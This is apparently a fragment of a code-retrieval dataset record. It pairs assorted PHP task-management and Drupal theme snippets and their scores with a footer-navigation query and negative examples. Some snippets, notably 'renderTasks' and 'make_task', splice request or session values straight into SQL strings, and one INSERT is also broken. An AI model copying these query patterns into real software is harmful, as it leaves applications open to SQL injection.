. '\">' . format_interval(REQUEST_TIME - $task->changed) .' '. t('ago') . '</time>';\n\n $id = isset($task_node->environment)? \"task-{$task_node->environment->project_name}-{$task_node->environment->name}\": \"task-\";\n $task_items[] = l($text, 'node/' . $task->nid, array(\n 'html' => TRUE,\n 'attributes' => array(\n 'class' => array('list-group-item ' . $item_class),\n 'id' => $id,\n ),\n ));\n }\n }\n else {\n $task_items[] = t('No Active Tasks');\n }\n\n $items[] = array(\n 'class' => array('tasks'),\n 'data' => '<div class=\"list-group\">' . implode(\"\\n\", $task_items) . '</div>',\n );\n\n if (!empty($actions)) {\n\n array_unshift($items, array(\n 'class' => array('divider'),\n ));\n\n // Add \"Environment Settings\" link\n if (node_access('update', $environment_node)) {\n array_unshift($items, l('<i class=\"fa fa-sliders\"></i> ' . t('Environment Settings'), \"node/{$environment->site}/edit\", array('html' => TRUE)));\n }\n\n $action_items = array();\n foreach ($actions as $link) {\n $action_items[] = l($link['title'], $link['href'], array(\n 'attributes' => array(\n 'class' => array('list-group-item'),\n ),\n 'query' => array(\n 'token' => drupal_get_token($user->uid),\n ),\n ));\n }\n\n $items[] = array(\n 'class' => array('actions'),\n 'data' => '<div class=\"list-group\">' . implode(\"\\n\", $action_items) . '</div>',\n );\n }\n\n $tasks = theme('item_list', array(\n 'items' => $items,\n 'attributes' => array(\n 'class' => array(\n 'devshop-tasks dropdown-menu dropdown-menu-' . $float,\n )\n ),\n 'role' => 'menu',\n )\n );\n\n if ($tasks_count == 0) {\n $tasks_count = '';\n }\n\n $logs = t('Task Logs');\n return <<<HTML\n <div class=\"task-list btn-group\">\n <button type=\"button\" class=\"btn btn-link task-list-button dropdown-toggle $class\" data-toggle=\"dropdown\" title=\"$logs\">\n <span class=\"count\">$tasks_count</span>\n <i class=\"fa fa-gear $task_class\"></i>\n </button>\n $tasks\n </div>\nHTML;\n\n}",
"public function view($id = null){\n\t\t$this->Task->id = $id;\n\t\t$this->set('task', $this->Task->read());\n\t}",
"function getTask() ;",
"public function show($taskId)\r\n {\r\n $this->currentURL = current_url();\r\n $task = $this->TaskModel->getTask($taskId);\r\n if($this->UserCanSeeTask($taskId)){\r\n $data['task'] = $task;\r\n $data['base_url'] = base_url();\r\n $data['count'] = 5;\r\n\r\n $data['menu'] = \"\";\r\n\r\n foreach($this->menu['Menu'] as $m)\r\n {\r\n $data['menu'] .= '<li>';\r\n $data['menu'] .= '<a href=\"'.$m['AppMenuLink'].'\"><i class=\"fa '.$m['AppMenuIcon'].' fa-fw\"></i> '.$m['AppMenuName'].'</a>';\r\n $data['menu'] .= '</li>';\r\n }\r\n\r\n $this->load_view(\"Task/Details\", $data);\r\n }\r\n else{\r\n if(!empty($task))$this->showError(\"You do not have permision to see this Task!\");\r\n else $this->showError(\"Task does not exist!\");\r\n\r\n }\r\n }",
"public function index()\n {\n //$tasks = $this->task->all();\n\n return view('projectmanager::admin.tasks.index', compact(''));\n }",
"public function displayTask()\n {\n $filters = array(\n 'start' => Request::getInt('start', 0),\n 'limit' => Request::getInt('limit', 20),\n 'search' => Request::getVar('search', ''),\n 'project' => Request::getVar('project', ''),\n 'authorized' => false,\n 'state' => 1,\n 'access' => User::getAuthorisedViewLevels()\n );\n\n $token = $this->getToken();\n if (!$token)\n {\n $this->redirect($url='login', null, null);\n }\n\n if ($this->config->get('access-manage-component'))\n {\n //$filters['state'] = null;\n $filters['authorized'] = true;\n array_push($filters['access'], 5);\n }\n\n $projects = $this->getProjects($token->get('access_token'), $this->getRadiamURL());\n if ($projects->count > 0) {\n $query = array();\n if (isset($filters['search'])) {\n $query[\"q\"] = $filters['search'];\n }\n\n $query[\"page\"] = $this->getRadiamPage($filters[\"start\"], $filters[\"limit\"]);\n $query[\"page_size\"] = $filters[\"limit\"];\n\n if (isset($filters[\"project\"])) {\n $foundProject = false;\n foreach ($projects->projects as &$project) {\n if ($project->id == $filters[\"project\"]) {\n $foundProject = true;\n }\n }\n if (!$foundProject) {\n $filters[\"project\"] = $projects->projects[0]->id;\n }\n\n } else {\n $filters[\"project\"] = $projects->projects[0]->id;\n }\n\n $files = $this->getFiles($token->get('access_token'), $this->getRadiamURL(), $filters[\"project\"], $query);\n } else {\n $files = new Files();\n }\n\n $pagination = new \\Hubzero\\Pagination\\Paginator($files->count, $filters[\"start\"], $filters[\"limit\"]);\n\n // Need to set any extra parameters for the pagination links to maintain the state\n if (isset($filters['search'])) {\n $pagination->setAdditionalUrlParam('search', $filters['search']);\n }\n\n $pagination->setAdditionalUrlParam('project', $filters[\"project\"]);\n\n // Output HTML\n $this->view\n ->set('config', $this->config)\n ->set('filters', $filters)\n ->set('projects', $projects)\n ->set('files', $files)\n ->set('pagination', $pagination)\n ->display();\n\n }",
"public function index() {\n $view = View::make ( 'tasks.task' );\n $view->title = 'String functions';\n return $view;\n }",
"public function renderEditTask($id) {\r\n $this->template->title = \"ToDo-list / Edit Task\";\r\n\r\n $session = $this->getSession('session');\r\n\r\n if ($this->getUser()->isLoggedIn()) { // přihlášení uživatelé\r\n $this->template->loggedAs = \"Přihlášen jako \" . $this->getUser()->identity->data[0] . \" (\" . $this->getUser()->identity->data[1] . \")\";\r\n } else {\r\n $this->redirect('Homepage:');\r\n }\r\n $this->makeMenu($this->getUser()->isLoggedIn());\r\n }",
"function edit() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultViewForm();\n\n\t\tif (!$view) {\n\t\t\tthrow new Exception('Edit task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t// Hint the view that it's not a listing, but a form (KenedoView::display() uses it to set the right template file)\n\t\t$view->listing = false;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}",
"function susy_menu_local_tasks(&$vars) {\n $output = '';\n\n if (!empty($vars['primary'])) {\n $vars['primary']['#prefix'] = '<h2 class=\"element-invisible\">' . t('Primary tabs') . '</h2>';\n $vars['primary']['#prefix'] .= '<ul class=\"tabs primary clearfix\">';\n $vars['primary']['#suffix'] = '</ul>';\n $output .= drupal_render($vars['primary']);\n }\n\n if (!empty($vars['secondary'])) {\n $vars['secondary']['#prefix'] = '<h2 class=\"element-invisible\">' . t('Secondary tabs') . '</h2>';\n $vars['secondary']['#prefix'] .= '<ul class=\"tabs secondary clearfix\">';\n $vars['secondary']['#suffix'] = '</ul>';\n $output .= drupal_render($vars['secondary']);\n }\n\n return $output;\n}",
"public function summaryAction()\r\n {\r\n \t$timesheetid = -1;\r\n\r\n // Okay, so if we were passed in a timesheet, it means we want to view\r\n // the data for that timesheet. However, if that timesheet is locked, \r\n // we want to make sure that the tasks being viewed are ONLY those that\r\n // are found in that locked timesheet.\r\n $timesheet = $this->byId();\r\n\r\n $start = null;\r\n $end = null;\r\n $this->view->showLinks = true;\r\n $cats = array();\r\n\r\n $users = $this->userService->getUserList();\r\n\r\n if (!$start) {\r\n\t // The start date, if not set in the parameters, will be just\r\n\t // the previous monday\r\n\t $start = $this->_getParam('start', $this->calculateDefaultStartDate());\r\n\t // $end = $this->_getParam('end', date('Y-m-d', time()));\r\n\t $end = $this->_getParam('end', date('Y-m-d 23:59:59', strtotime($start) + (6 * 86400)));\r\n }\r\n\r\n // lets normalise the end date to make sure it's of 23:59:59\r\n\t\t$end = date('Y-m-d 23:59:59', strtotime($end));\r\n\r\n $order = 'endtime desc';\r\n\r\n $this->view->taskInfo = array();\r\n\r\n $project = null;\r\n if ($this->_getParam('projectid')) {\r\n \t$project = $this->projectService->getProject($this->_getParam('projectid'));\r\n }\r\n \r\n foreach ($users as $user) {\r\n \t$this->view->taskInfo[$user->username] = $this->projectService->getTimesheetReport($user, $project, null, -1, $start, $end, $cats, $order);\r\n }\r\n \r\n $task = new Task();\r\n \r\n $this->view->categories = $task->constraints['category']->getValues();\r\n $this->view->startDate = $start;\r\n $this->view->endDate = $end;\r\n $this->view->params = $this->_getAllParams();\r\n $this->view->dayDivision = za()->getConfig('day_length', 8) / 4; // za()->getConfig('day_division', 2);\r\n $this->view->divisionTolerance = za()->getConfig('division_tolerance', 20);\r\n \r\n $this->renderView('timesheet/user-report.php');\r\n }",
"public function getViewTemplate()\n {\n return 'GithubFrontend:task/view';\n }",
"public function introTask()\n\t{\n\t\t// Set page title\n\t\t$this->_buildTitle();\n\n\t\t// Set the pathway\n\t\t$this->_buildPathway();\n\n\t\t$filters = array(\n\t\t\t'sortby' => 'date_published',\n\t\t\t'limit' => $this->config->get('listlimit', 10),\n\t\t\t'start' => Request::getInt('limitstart', 0)\n\t\t);\n\n\t\t// Instantiate a publication object\n\t\t$model = new Models\\Publication();\n\n\t\t// Get most recent pubs\n\t\t$results = $model->entries('list', $filters);\n\n\t\t// Get most popular/oldest pubs\n\t\t$filters['sortby'] = 'popularity';\n\t\t$best = $model->entries('list', $filters);\n\n\t\t// Get major types\n\t\t$t = new Tables\\Category($this->database);\n\t\t$categories = $t->getCategories(array('itemCount' => 1));\n\n\t\t$this->view\n\t\t\t->set('title', $this->_title)\n\t\t\t->set('option', $this->_option)\n\t\t\t->set('database', $this->database)\n\t\t\t->set('config', $this->config)\n\t\t\t->set('contributable', $this->_contributable)\n\t\t\t->set('filters', $filters)\n\t\t\t->set('results', $results)\n\t\t\t->set('best', $best)\n\t\t\t->set('categories', $categories)\n\t\t\t->setErrors($this->getErrors())\n\t\t\t->setLayout('intro')\n\t\t\t->display();\n\t}",
"function isfnet_menu_local_tasks(&$variables) {\n $output = '';\n\n if (!empty($variables['primary'])) {\n $variables['primary']['#prefix'] = '<h2 class=\"element-invisible\">' . t('Primary tabs') . '</h2>';\n $variables['primary']['#prefix'] .= '<ul class=\"tabs primary clearfix\">';\n $variables['primary']['#suffix'] = '</ul>';\n $output .= drupal_render($variables['primary']);\n }\n if (!empty($variables['secondary'])) {\n $variables['secondary']['#prefix'] = '<h2 class=\"element-invisible\">' . t('Secondary tabs') . '</h2>';\n $variables['secondary']['#prefix'] .= '<ul class=\"tabs secondary clearfix\">';\n $variables['secondary']['#suffix'] = '</ul>';\n $output .= drupal_render($variables['secondary']);\n }\n return $output;\n}",
"public function index()\n {\n $task = Task::all();\n return view('tasks.index')->with('task', $task);\n }",
"function gwt_drupal_menu_local_task($variables) {\n $type = $class = FALSE;\n\n $link = $variables['element']['#link'];\n $link_text = $link['title'];\n\n // Check for tab type set in gwt_drupal_menu_local_tasks().\n if (is_array($variables['element']['#theme'])) {\n $type = in_array('menu_local_task__secondary', $variables['element']['#theme']) ? 'tabs-secondary' : 'tabs-primary';\n }\n\n // Add SMACSS-style class names.\n if ($type) {\n $link['localized_options']['attributes']['class'][] = $type . '__tab-link';\n $class = $type . '__tab';\n }\n\n if (!empty($variables['element']['#active'])) {\n // Add text to indicate active tab for non-visual users.\n $active = ' <span class=\"element-invisible\">' . t('(active tab)') . '</span>';\n\n // If the link does not contain HTML already, check_plain() it now.\n // After we set 'html'=TRUE the link will not be sanitized by l().\n if (empty($link['localized_options']['html'])) {\n $link['title'] = check_plain($link['title']);\n }\n $link['localized_options']['html'] = TRUE;\n $link_text = t('!local-task-title!active', array('!local-task-title' => $link['title'], '!active' => $active));\n\n if (!$type) {\n $class = 'active';\n }\n else {\n $link['localized_options']['attributes']['class'][] = 'is-active';\n $class .= ' is-active';\n }\n }\n\n return '<li' . ($class ? ' class=\"' . $class . '\"' : '') . '>' . l($link_text, $link['href'], $link['localized_options']) . \"</li>\\n\";\n}",
"public function index() {\n\n $database = App::resolve('database');\n $tasks = $database->fetchAll('tasks');\n require 'app/views/tasks.view.php';\n}",
"public function index()\n {\n $tasks = $this->task->get();\n return view('tasks.index', compact('tasks'));\n }",
"function make_task($string=''){\n\t\n\tif($string === ''){\n\t\t$string = 'Make Task';\n\t\t}\n\t$task_name = strtolower(trim(mysql_prep($_GET['job_title'])));\n\t$parent = '';\n\t$parent_type = 'jobs';\n\t$content = mysql_prep($_SESSION['current_url']);\n\t$path = $_SESSION['current_url'];\n\t$author = $_SESSION['username'];\n\t$editor = '';\n\t$created = date('c');\n\t$last_update ='';\n\t$status = 'started';\n\t$reward = $_SESSION['job_reward'];\n\t\n\techo '<form action='.$_SESSION['current_url'].' method=\"post\">\n\t<button type=\"submit\" name=\"make_project\" value=\"yes\">'.$string.'</button>\n\t</form>';\n\t\n\tif($_POST['make_task'] ==='yes') {\n\t\t\t$query = mysqli_query($GLOBALS[\"___mysqli_ston\"], \"INSERT INTO `project_manager_task`(`id`, `task_name`, `parent`, `parent_type`, `content`, `author`, `project_manager`, `path`, `editor`, `created`, `last_updated`, `assigned_to`, `status`, `priority`, `reward`) \n\t\t\tVALUES ('','{$task_name}', '{$parent}', '{$parent_type}' '{$content}', '{$author}', '{$author}', '{$path}', '{$editor}','{$created}','{$last_updated}','{$author}','{$status}','{$priority}','{$reward}')\") \n\t\t\tor die (\"Error inserting task \". ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)));\n\t\t\tif($query){ \n\t\t\t\tactivity_record(\n\t\t\t\t\t$actor=$author,\n\t\t\t\t\t$action=' created the task ',\n\t\t\t\t\t$subject_name = $project_name,\n\t\t\t\t\t$actor_path = BASE_PATH.'user/?user='.$author,\n\t\t\t\t\t$subject_path= ADDONS_PATH.'project_manager/?action=show&task_name='.$project_name,\n\t\t\t\t\t$date = $created,\n\t\t\t\t\t$parent='jobs'\n\t\t\t\t\t);\n\t\t\t\t\n\t\t\t\tstatus_message(\"success\", \"Task saved successfully!\"); \n\t\t\t}\n\t\t}\n\t\n\t}",
"public function get_task_name()\n\t{\n\t\treturn $this->task_name;\n\t}",
"public function get_task_name()\n\t{\n\t\treturn $this->task_name;\n\t}",
"public function run()\n {\n $task = new Task();\n $task->id = 1;\n $task->title = 'Cong viec 1';\n $task->content = 'tao project laravel';\n $task->created = '2018-09-27 04:57:57';\n $task->due_date = '2018-09-26';\n $task->image = 'anh';\n $task->save();\n }",
"public function indexAction(Request $request){\n return $this->render('task/index.html.twig');\n }",
"public function getIndex()\n {\n $setup_tasks = Task::getTasksByType(Auth::user()->id);\n\n return view('tasks.index')\n ->with('layout',$this->layout)\n ->with('tasks',$setup_tasks)\n ->with('user_id',Auth::user()->id);\n }",
"public function savetagsTask()\n\t{\n\t\t// Check if they are logged in\n\t\tif (User::isGuest())\n\t\t{\n\t\t\t$this->_task = 'page';\n\t\t\t$this->pageTask();\n\t\t\treturn;\n\t\t}\n\n\t\t// Incoming\n\t\t$id = Request::getInt('id', 0);\n\t\t$tags = Request::getString('tags', '');\n\t\t$no_html = Request::getInt('no_html', 0);\n\n\t\t// Process tags\n\t\t$rt = new Helpers\\Tags($this->database);\n\t\t$rt->tag_object(User::get('id'), $id, $tags, 1, 0);\n\n\t\tif (!$no_html)\n\t\t{\n\t\t\t// Push through to the resource view\n\t\t\t$this->_task = 'page';\n\t\t\t$this->pageTask();\n\t\t\treturn;\n\t\t}\n\t}",
"public function index()\n {\n\n // $tasks = Task::from('task_mwege')->get();\n $tasks = $this->taskRepository->getAllTasks();\n return view('tasks.index', ['tasks' => $tasks]);\n }",
"function phptemplate_menu_local_tasks() {\n return menu_primary_local_tasks();\n}",
"public function actionTasks(){\n\t\t$userIdtmp = XenForo_Visitor::getUserId();\n\t\t$conditions = array('userId' => $userIdtmp);\n\t\t$order_items = $this->_getOrderItemModel()->getAllOrderItem($conditions);\n\t\t\n\t\t$viewParams = array(\n\t\t\t'tasks' => $order_items\n\t\t);\n\t\t\n\t\treturn $this -> responseView('DTUI_ViewPublic_EntryPoint_Tasks','dtui_task_list',$viewParams);\n\t}",
"public function getTask(): string\n {\n return $this->task;\n }",
"public function index()\n {\n $module = Module::get('Tasks');\n\n if(Module::hasAccess($module->id)) {\n $work_list = DB::table('worklists')\n ->lists('name', 'work_id');\n $user_list = DB::table('userinfos')\n ->lists('user_key', 'user_key');\n\n return View('la.tasks.index', [\n 'show_actions' => $this->show_action,\n 'listing_cols' => $this->listing_cols,\n 'module' => $module,\n 'work_list' => $work_list,\n 'user_list' => $user_list,\n ]);\n } else {\n return redirect(config('laraadmin.adminRoute').\"/\");\n }\n }",
"function renderTasks($name)\r\n{\r\n global $mysqli;\r\n $query_id = mysqli_query($mysqli, \"SELECT * FROM users WHERE name = '$name'\");\r\n $rowId = mysqli_fetch_assoc($query_id);\r\n if (is_null($rowId)){\r\n echo \"error hiciste todo mal\";\r\n } else {\r\n $id = $rowId['user_id'];\r\n $query_tasks = mysqli_query($mysqli, \"SELECT * FROM tasks WHERE user_id = $id\");\r\n $rowTasks = mysqli_fetch_assoc($query_tasks);\r\n echo \"$name's tasks: <br/>\";\r\n echo \"<ol>\";\r\n while (!is_null($rowTasks)){\r\n echo \"<li>\" . $rowTasks['name'] . \"</li>\";\r\n $rowTasks = mysqli_fetch_assoc($query_tasks);\r\n };\r\n echo \"</ol>\";\r\n };\r\n}",
"public function show()\n {\n $project = $this->getProject();\n $search = $this->helper->projectHeader->getSearchQuery($project);\n\n if ($this->request->getIntegerParam('show_subtasks') !== 0 ||\n $this->request->getIntegerParam('hide_subtasks') !== 0 ||\n $this->request->getStringParam('direction') !== '' ||\n $this->request->getStringParam('order') !== '') {\n $this->checkReusableGETCSRFParam();\n }\n\n if ($this->request->getIntegerParam('show_subtasks')) {\n session_set('subtaskListToggle', true);\n } elseif ($this->request->getIntegerParam('hide_subtasks')) {\n session_set('subtaskListToggle', false);\n }\n\n if ($this->userSession->hasSubtaskListActivated()) {\n $formatter = $this->taskListSubtaskFormatter;\n } else {\n $formatter = $this->taskListFormatter;\n }\n\n list($order, $direction) = $this->userSession->getListOrder($project['id']);\n $direction = $this->request->getStringParam('direction', $direction);\n $order = $this->request->getStringParam('order', $order);\n $this->userSession->setListOrder($project['id'], $order, $direction);\n\n $paginator = $this->paginator\n ->setUrl('TaskListController', 'show', array('project_id' => $project['id'], 'csrf_token' => $this->token->getReusableCSRFToken()))\n ->setMax(30)\n ->setOrder($order)\n ->setDirection($direction)\n ->setFormatter($formatter)\n ->setQuery($this->taskLexer\n ->build($search)\n ->withFilter(new TaskProjectFilter($project['id']))\n ->getQuery()\n )\n ->calculate();\n\n $this->response->html($this->helper->layout->app('task_list/listing', array(\n 'project' => $project,\n 'title' => $project['name'],\n 'description' => $this->helper->projectHeader->getDescription($project),\n 'paginator' => $paginator,\n )));\n }",
"public function Task_Entry()\n {\n $data1 = $this->technical_user_model->Assigned_Task_Entry();\n $data2 = $this->technical_user_model->Assigned_Task_Entry_WO();\n $this->data['task_details'] = array_merge($data1, $data2);\n\n $un_assign_project = $this->technical_user_model->Un_Assigned_Project();\n $un_assign_wo = $this->technical_user_model->Un_Assigned_Wo();\n $this->data['Project_details'] = array_merge($un_assign_project, $un_assign_wo);\n\n $this->data['Incharge'] = $this->technical_user_model->Get_User_Incharge();\n $this->data['task_category'] = $this->technical_user_model->Get_Task_Category();\n\n $this->load->view('User/header');\n $this->load->view('User/left');\n $this->load->view('User/top');\n $this->load->view('User/task_entry', $this->data, FALSE);\n $this->load->view('User/footer');\n }",
"public function actionIndex()\n {\n if (!Yii::app()->user->isGuest) {\n RoleHelper::checkAccessControl('task', 'view', $this, true, false);\n\n if (isset($_GET['status'])) {\n $model = TaskHelper::getModel($_GET['status']);\n } else {\n $model = TaskHelper::getModel();\n }\n $this->render('index', array('model' => $model));\n LogHelper::proccess(LogHelper::VIEW, LogHelper::TASK, \"مشاهده ی تسک ها\");\n\n } else {\n $this->redirect(array('site/login'));\n }\n }",
"public function index()\n\t{\n\t\tView::share('title', 'ThinkClosing - Tasks');\n\t\tif ( !Auth::user()->isAdmin() ) {\n\t\t\t$tasks = Task::where('user_id', '=', Auth::user()->id)\n\t\t\t\t->paginate(10);\n\t\t} else {\n\t\t\t$tasks = Task::where('id', '>', 0)->paginate(10);\n\t\t}\n\t\treturn View::make('tasks.index', array('tasks' => $tasks));\n\t}",
"function show_project_timeline($project_id){\n\n$pr=new project($project_id);\n$work_arr=$pr->current_timeline($project_id);\nfor($t=0;$t<sizeof($work_arr);$t++){\n$task1=new task($work_arr[$t]['w_id']);\n$mb1=new member($task1->alloted_by);\n$mb2=new member($task1->alloted_to);\n// show the csss view for the resulting timeline \n?>\n\n<div class=\"sl-item sl-primary\">\n <div class=\"sl-content\">\n <small class=\"text-muted\"><?php echo $this->return_timespan($task1->starts_at);?></small>\n <p><?php echo $task1->title?></p>\n </div>\n</div>\n\n\n\n<?php \n}\n?>\n<a href=\"all-task.php?projectid=<?php echo $project_id;?>\" style=\"color:red\">All activities</a>\n<?php \n}",
"public function timesheetAction()\r\n {\r\n $project = $this->projectService->getProject($this->_getParam('projectid'));\r\n $client = $this->clientService->getClient($this->_getParam('clientid'));\r\n \r\n if (!$project && !$client) {\r\n return;\r\n }\r\n \r\n if ($project) {\r\n $start = date('Y-m-d', strtotime($project->started) - 86400);\r\n $this->view->tasks = $this->projectService->getSummaryTimesheet(null, null, $project->id, null, null, $start, null);\r\n } else {\r\n $start = date('Y-m-d', strtotime($client->created));\r\n $this->view->tasks = $this->projectService->getSummaryTimesheet(null, null, null, $client->id, null, $start, null);\r\n }\r\n\r\n $this->renderRawView('timesheet/ajax-timesheet-summary.php');\r\n }",
"function phptemplate_menu_local_tasks() {\n return menu_primary_local_tasks();\n}",
"function phptemplate_menu_local_tasks() {\n return menu_primary_local_tasks();\n}",
"function phptemplate_menu_local_tasks() {\n return menu_primary_local_tasks();\n}",
"public function getTaskName()\r\n {\r\n // Substract \"2012/\" in \"2012/2012-FR-07\"\r\n return substr($this->route, 5);\r\n }",
"function atwork_preprocess_menu_local_task(&$variables) {\n $link =& $variables['element']['#link'];\n\n // If the link does not contain HTML already, check_plain() it now.\n // After we set 'html'=TRUE the link will not be sanitized by l().\n if (empty($link['localized_options']['html'])) {\n $link['title'] = check_plain($link['title']);\n }\n $link['localized_options']['html'] = TRUE;\n $link['title'] = '<span class=\"tab\">' . $link['title'] . '</span>';\n}",
"public function renderLoadsHtml()\n {\n $steps = json_decode(file_get_contents($this->file), true);\n if (empty($_GET['operation'])) {\n $namespaces = $this->loadNamespaces($steps);\n\n $template = new Template();\n $template->assign('id', $this->id);\n $template->assign('file', realpath($this->file));\n $template->assign('section', 'sequence');\n $template->assign('resource', $this->getResourcePath());\n $template->assign('steps', json_encode($steps));\n $template->assign('namespaces', json_encode($namespaces));\n\n echo $template->fetch('sequence');\n } else {\n switch($_GET['operation']) {\n case 'delete':\n $steps = $this->remove($steps, $_GET['step']);\n }\n file_put_contents($this->file, json_encode($steps, JSON_PRETTY_PRINT));\n $namespaces = $this->loadNamespaces($steps);\n\n echo json_encode(['steps' => $steps, 'namespaces' => $namespaces]);\n }\n }",
"public function getTask() {}",
"public function getTask() {}",
"public function getTask() {}",
"public function index()\n {\n $tasks = Task::all();\n return view('task.index')->with('tasks', $tasks);\n }",
"public function show($id)\n {\n // search the task\n //return a view(show.blede.php\n // pass with the return\n }",
"public function index()\n {\n $tasks = Task::where('user_id', Auth::user()->id)->get();\n return view('task.index', compact('tasks'));\n\n }",
"public function assigned()\r\n {\r\n $this->session->set_userdata('referred_from', current_url());\r\n $data['tasks'] = $this->TaskModel->getCreatedTasks($this->userId);\r\n $data['taskTitle'] = \"Tasks you Assigned\";\r\n $data['base_url'] = $this->base_url;\r\n $data['title'] = \"ICT Cloud | Admin | Tasks\";\r\n\r\n $data['finish'] = false;\r\n $data['delete'] = true;\r\n\r\n $data['menu'] = \"\";\r\n\r\n foreach($this->menu['Menu'] as $m)\r\n {\r\n $data['menu'] .= '<li>';\r\n $data['menu'] .= '<a href=\"'.$m['AppMenuLink'].'\"><i class=\"fa '.$m['AppMenuIcon'].' fa-fw\"></i> '.$m['AppMenuName'].'</a>';\r\n $data['menu'] .= '</li>';\r\n }\r\n\r\n $data['formTaskName'] = $this->formTaskName;\r\n $data['formOptions'] = $this->formOptions;\r\n $data['formSubmit'] = $this->formSubmit;\r\n $data['formTaskDescription'] = $this->formTaskDescription;\r\n $data['formEndDate'] = $this->formEndDate;\r\n\r\n $data['Groups'] = $this->adminGroups;\r\n\r\n $this->load_view(\"Task/TaskList\", $data);\r\n }",
"public function plantilla(){\n\n include \"views/template.php\";#include(): Se utiliza para invocar el archivo que contiene el código html (es decir, incluye el template que está en la carpeta views)\n }",
"public function index()\n {\n $taskList = Task::doesntHave('user')->orderBy('deadline', 'asc')->get();\n return view('tasks.tasks', ['taskList' => $taskList]);\n }",
"public function index()\n {\n $done = $this->taskRepository->done();\n $undone = $this->taskRepository->undone();\n $projects = auth()->user()->projects()->pluck('name','id')->toArray();\n \n return view('tasks.index',compact('projects','done','undone'));\n //$table->foreign()->\n }",
"public function mainAction() {\n\t\t$this->setView('include/timer-form.php');\n\t\t$this->view();\n\t}",
"public function create()\n {\n return view('task');\n }",
"public function run()\n {\n PageContent::factory()->aboutUs()->state([\n 'content' => 'D\\'more Event Planner is an Event Planning Software is cutting-edge tool which will allow the client all the resources and visual aids for their event planning. They will be able to play with decoration themes, listen to theme music, design invitations, thank-you cards, and RSVP cards, use the interactive planning calendar, and much more. This software will bring your event into the millennium with cutting edge technology that is designed to save time and money.'\n ])->create();\n PageContent::factory()->aboutUs()->state([\n 'content' => 'We also provide a Step-by-Step Guide in preparation to your event which include a calendar to map out the event, a step-by-step guide on what is needed for and how to put together a successful, worry-free event, resource information, popular refreshments with recipes, games, and tips to put their event in the record books. The events available include birthdays for all ages, meetings, retreats, parties, vacations, and special occasion celebrations such as graduations, holidays, showers, weddings, and receptions.'\n ])->create();\n }"
] | [
"0.7332915",
"0.7037799",
"0.66728663",
"0.66697764",
"0.6607155",
"0.6595226",
"0.6581604",
"0.6517034",
"0.6489719",
"0.64382344",
"0.63589966",
"0.6354979",
"0.62486637",
"0.624347",
"0.62418115",
"0.6239198",
"0.6238577",
"0.62127775",
"0.62051344",
"0.6187985",
"0.6148628",
"0.614536",
"0.6144869",
"0.61405814",
"0.6132214",
"0.6130534",
"0.6130113",
"0.6130113",
"0.6130113",
"0.6130113",
"0.6130113",
"0.6130113",
"0.6103274",
"0.61017233",
"0.60833335",
"0.6063434",
"0.60376596",
"0.6007376",
"0.6006607",
"0.59984994",
"0.5996512",
"0.59956926",
"0.59890074",
"0.59834754",
"0.5969395",
"0.59461474",
"0.5945839",
"0.5929377",
"0.592843",
"0.59209657",
"0.59007645",
"0.5893815",
"0.58912593",
"0.58465946",
"0.5839368",
"0.5838505",
"0.5824963",
"0.5822192",
"0.5813417",
"0.57962465",
"0.57917076",
"0.57877815",
"0.57827836",
"0.5782779",
"0.5782779",
"0.577694",
"0.5776736",
"0.5770351",
"0.5770077",
"0.57589734",
"0.5756337",
"0.5745848",
"0.57339686",
"0.573316",
"0.5732309",
"0.57295895",
"0.5728462",
"0.5727386",
"0.5722163",
"0.5698694",
"0.5688114",
"0.56878793",
"0.56878793",
"0.56878793",
"0.568765",
"0.5686379",
"0.5685094",
"0.56797904",
"0.56797904",
"0.56792337",
"0.5678213",
"0.56770957",
"0.56756043",
"0.56733036",
"0.5669746",
"0.566601",
"0.5662921",
"0.56577796",
"0.564737",
"0.564451"
] | 0.72457963 | 1 |
Stellt den Inhalt des Footers dar. Aktive Navigationselemente werden nicht angezeigt. | public function printFooterContent() {
echo '<ul>';
if (! $this->isActive ( PageState::Selection ))
echo '<li class="', $class, '"><a href="?q=select">Auswahl</a></li>';
if (! $this->isActive ( PageState::Statistics ))
echo '<li class="', $class, '"><a href="?q=stats">Statistik</a></li>';
if (! $this->isActive ( PageState::Setup ))
echo '<li class="', $class, '"><a href="?q=setup">Setup</a></li>';
echo '</ul>';
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function set_footing()\n {\n $args = func_get_args();\n $this->footing = (is_array($args[0])) ? $args[0] : $args;\n }",
"function Footer() {\n $this->SetY(-15);\n //Pilih font Arial italic 8\n $this->SetFont('Helvetica', 'I', 8);\n //Tampilkan nomor halaman rata tengah\n $this->Cell(0, 10, 'Page ' . $this->getAliasNumPage() . '/' . $this->getAliasNbPages(), 0, false, 'C', 0, '', 0, false, 'T', 'M');\n }",
"function footer() {\n $this->SetY(-15);\n // Select Arial italic 8\n $this->SetFont('Arial', 'I', 8);\n // Print current and total page numbers\n $this->Cell(0, 10, 'Page ' . $this->PageNo() . '/{nb}', 0, 0, 'C');\n }",
"function Footer() {\n $this->SetY(-15);\n // Select Arial italic 8\n $this->SetFont('Arial', 'B', 8);\n // Print centered page number\n $this->Cell(0, 5, utf8_decode(\"[Página \") . $this->PageNo() . \"]\", 0, 0, 'L');\n }",
"function Footer() {\n $this->SetY(-15);\n // Select Arial italic 8\n $this->SetFont('Arial', 'B', 8);\n // Print centered page number\n $this->Cell(0, 5, utf8_decode(\"[Página \") . $this->PageNo() . \"]\", 0, 0, 'L');\n }",
"function Footer() {\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial', 'I', 10);\n // Text color in gray\n $this->SetTextColor(128);\n // Page number\n $this->Cell(0, 10, 'Page ' . $this->PageNo(), 0, 0, 'C');\n }",
"function Footer(){\n\t\t// Positionnement à 1,5 cm du bas\n\t\t$this->SetY(-15);\n\t\t// Police Arial italique 8\n\t\t$this->SetFont('Arial','I',8);\n\t\t// Numéro de page\n\t\t$this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n\t}",
